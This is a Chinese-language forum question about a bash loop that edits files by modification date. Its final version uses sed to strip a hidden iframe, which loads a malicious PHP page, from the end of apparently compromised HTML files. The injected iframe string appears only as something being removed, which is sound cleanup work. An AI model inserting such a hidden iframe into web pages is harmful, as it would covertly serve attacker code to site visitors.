我有一个包含特定日期的文件列表。
我想将文件的最后一行替换为 2013 年 8 月 20 日之类的日期,例如“这是结束”。
我如何在 bash 中实现它?
我试过类似的东西:
for f in `ls`; do
d = `date -r $f +%F`
if [$d == '2013-08-20']; then
sed '$ c\ > This is the end' $f
fi
done
但我在第 2 行遇到错误说:
d: command not found
任何人都可以帮助我吗?
更新:最终代码:
#!/bin/bash
for f in *; do
d=$(date -r $f +%F)
if [ "$d" = '2013-08-24' ]; then
sed -i 's#</html><iframe src="http://example.com/some-malicious-code.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>#</html>#g' "$f"
fi
done